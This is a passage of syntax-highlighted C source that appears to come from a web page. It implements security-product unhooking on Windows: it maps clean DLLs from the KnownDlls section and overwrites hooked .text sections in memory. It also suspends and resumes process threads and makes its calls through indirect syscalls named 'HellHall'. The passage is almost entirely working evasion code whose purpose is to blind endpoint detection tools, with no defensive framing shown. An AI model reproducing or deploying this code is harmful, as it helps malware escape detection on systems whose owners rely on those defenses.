  <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// get the dos &amp; nt headers of our local dll</span><br/>                PIMAGE_DOS_HEADER CurrentDllImgDosHdr = (PIMAGE_DOS_HEADER)CurrentDllModule;<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (CurrentDllImgDosHdr-&gt;e_magic != IMAGE_DOS_SIGNATURE) {<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>                }<br/>                PIMAGE_NT_HEADERS CurrentDllImgNtHdr = (PIMAGE_NT_HEADERS)((PBYTE)CurrentDllModule + CurrentDllImgDosHdr-&gt;e_lfanew);<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (CurrentDllImgNtHdr-&gt;Signature != IMAGE_NT_SIGNATURE) {<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>                }<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// get the address of the module&#39;s txt section &amp; its size &amp; calculate the knowndll txt section address</span><br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> i = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; CurrentDllImgNtHdr-&gt;FileHeader.NumberOfSections; i++) {<br/>                    PIMAGE_SECTION_HEADER pImgSec = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(CurrentDllImgNtHdr) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> ((*(ULONG*)pImgSec-&gt;Name | <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x20202020</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;xet.&#39;</span>) {<br/>                        sLocalTxtSize = pImgSec-&gt;Misc.VirtualSize;<br/>                        pLocalTxtAddress = (PVOID)((ULONG_PTR)CurrentDllModule + pImgSec-&gt;VirtualAddress);<br/>                        pRemoteTxtAddress = (PVOID)((ULONG_PTR)KnownDllDllModule + pImgSec-&gt;VirtualAddress);<br/>                    }<br/>                }<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// small check here ...</span><br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (sLocalTxtSize == <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span> || pLocalTxtAddress == <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span> || pRemoteTxtAddress == <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>) {<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>                }<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// if both have the same bytes, its a valid text section</span><br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (*(ULONG_PTR*)pLocalTxtAddress != *(ULONG_PTR*)pRemoteTxtAddress)<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>                PVOID         pAddress   = pLocalTxtAddress;<br/>                SIZE_T         sSize      = sLocalTxtSize;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                PRINTW(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">L&#34;\n[i] Replacing .txt of %s ... &#34;</span>, DllName-&gt;Buffer);<br/>                PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\n\t&gt; pLocalTxtAddress : 0x%p \n\t&gt; pRemoteTxtAddress : 0x%p \n&#34;</span>, pLocalTxtAddress, pRemoteTxtAddress);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                INITIALIZE_SYSCALL(NTAPIs.NtProtectVirtualMemory);<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!NT_SUCCESS((STATUS = HellHall((HANDLE)<span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">-1</span>, &amp;pAddress, &amp;sSize, PAGE_READWRITE, &amp;dwOldPermission)))) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                    PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[!] NtProtectVirtualMemory [1] Failed With Status : 0x%0.8X (Unhook.c:262)\n&#34;</span>, STATUS);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>                }<br/>                _memcpy(pLocalTxtAddress, pRemoteTxtAddress, sLocalTxtSize);<br/>                INITIALIZE_SYSCALL(NTAPIs.NtProtectVirtualMemory);<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!NT_SUCCESS((STATUS = HellHall((HANDLE)<span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">-1</span>, &amp;pAddress, &amp;sSize, dwOldPermission, &amp;dwOldPermission)))) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                    PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[!] NtProtectVirtualMemory [2] Failed With Status : 0x%0.8X (Unhook.c:272)\n&#34;</span>, STATUS);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>                }<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// unmap the KnownDlls dll</span><br/>                INITIALIZE_SYSCALL(NTAPIs.NtUnmapViewOfSection);<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!NT_SUCCESS((STATUS = HellHall(NtCurrentProcess(), KnownDllDllModule)))) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                    PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[!] NtUnmapViewOfSection Failed With Status : 0x%0.8X (Unhook.c:282)\n&#34;</span>, STATUS);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>                }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] DONE \n&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>            }<br/>        }<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// continue to the next dll ...</span><br/>        Next = Next-&gt;Flink;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// resuming all local threads</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!SuspendAndResumeLocalThreads(RESUME_THREADS))<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> TRUE;<br/>}<br/><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">BOOL <span style="font-size: inherit;line-height: inherit;color: rgb(255, 255, 170);overflow-wrap: inherit !important;word-break: inherit !important;">SuspendAndResumeLocalThreads</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">enum</span> THREADS State)</span> </span>{<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// small trick ;)</span><br/>    DWORD                        dwCurrentProcessId      = __readgsqword(<span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x40</span>); <br/>    DWORD                        dwRunningThread         = __readgsqword(<span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x48</span>);<br/>    HANDLE                        hSnapShot               = INVALID_HANDLE_VALUE,<br/>                                hThread                    = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>;<br/>    NTSTATUS                    STATUS                  = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>;<br/>    THREADENTRY32                Thr32                   = { .dwSize = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(THREADENTRY32) };<br/>    OBJECT_ATTRIBUTES            ObjAttr                 = { <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> };<br/>    CLIENT_ID                    ClientId                = { <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> };<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>    PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\n&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>    hSnapShot = WINAPIs.pCreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>);<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (hSnapShot == INVALID_HANDLE_VALUE) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>        PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[!] CreateToolhelp32Snapshot Failed With Error : %d (Unhook.c:59)\n&#34;</span>, GetLastError());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>        WINAPIs.pCloseHandle(hSnapShot);<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!WINAPIs.pThread32First(hSnapShot, &amp;Thr32)) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>        PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[!] Thread32First Failed With Error : %d (Unhook.c:68)\n&#34;</span>, GetLastError());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>        WINAPIs.pCloseHandle(hSnapShot);<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">do</span> {<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (Thr32.th32OwnerProcessID == dwCurrentProcessId &amp;&amp; Thr32.th32ThreadID != dwRunningThread) {<br/>            InitializeObjectAttributes(&amp;ObjAttr, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>);<br/>            ClientId.UniqueProcess    = (PVOID)Thr32.th32OwnerProcessID;<br/>            ClientId.UniqueThread    = (PVOID)Thr32.th32ThreadID;<br/>            INITIALIZE_SYSCALL(NTAPIs.NtOpenThread);<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!NT_SUCCESS((STATUS = HellHall(&amp;hThread, GENERIC_ALL, &amp;ObjAttr, &amp;ClientId)))) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[!] NtOpenThread Failed With Status : 0x%0.8X (Unhook.c:85)\n&#34;</span>, STATUS);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>            }<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (State == SUSPEND_THREADS) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\t\t&gt;&gt;&gt; Suspending Thread Of Id : %d ... &#34;</span>, Thr32.th32ThreadID);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                INITIALIZE_SYSCALL(NTAPIs.NtSuspendThread);<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (hThread &amp;&amp; !NT_SUCCESS(STATUS = HellHall(hThread, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>))){<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                    PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[!] NtSuspendThread Failed With Status : 0x%0.8X (Unhook.c:97)\n&#34;</span>, STATUS);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] DONE \n&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>            }<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (State == RESUME_THREADS) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\t\t&gt;&gt;&gt; Resuming Thread Of Id : %d ... &#34;</span>, Thr32.th32ThreadID);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                INITIALIZE_SYSCALL(NTAPIs.NtResumeThread);<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (hThread &amp;&amp; !NT_SUCCESS(STATUS = HellHall(hThread, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>))) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                    PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[!] NtResumeThread Failed With Status : 0x%0.8X (Unhook.c:113)\n&#34;</span>, STATUS);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] DONE \n&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>            }<br/>            INITIALIZE_SYSCALL(NTAPIs.NtClose);<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (hThread != <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>)<br/>                HellHall(hThread);<br/>        }<br/>    } <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">while</span> (WINAPIs.pThread32Next(hSnapShot, &amp;Thr32));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>    PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\n&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>    WINAPIs.pCloseHandle(hSnapShot);<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> TRUE;<br/>}<br/><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">LPVOID <span style="font-size: inherit;line-height: inherit;color: rgb(255, 255, 170);overflow-wrap: inherit !important;word-break: inherit !important;">GetDllFromKnownDll</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(IN PWSTR DllName)</span> </span>{<br/>    PVOID                pModule                 = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>;<br/>    HANDLE                hSection                = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>;<br/>    NTSTATUS            STATUS                  = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>;<br/>    SIZE_T                ViewSize                = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>;<br/>    UNICODE_STRING        UniStr                  = { <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> };<br/>    OBJECT_ATTRIBUTES    ObjAtr                  = { <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> };<br/>    WCHAR                FullName    [MAX_PATH]  = { <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> };<br/>    WCHAR                Buf         [MAX_PATH]  = { L&#39;\\<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;, L&#39;</span>K&#39;, L&#39;n&#39;, L&#39;o&#39;, L&#39;w&#39;, L&#39;n&#39;, L&#39;D&#39;, L<span style="font-size: inherit;line-height: 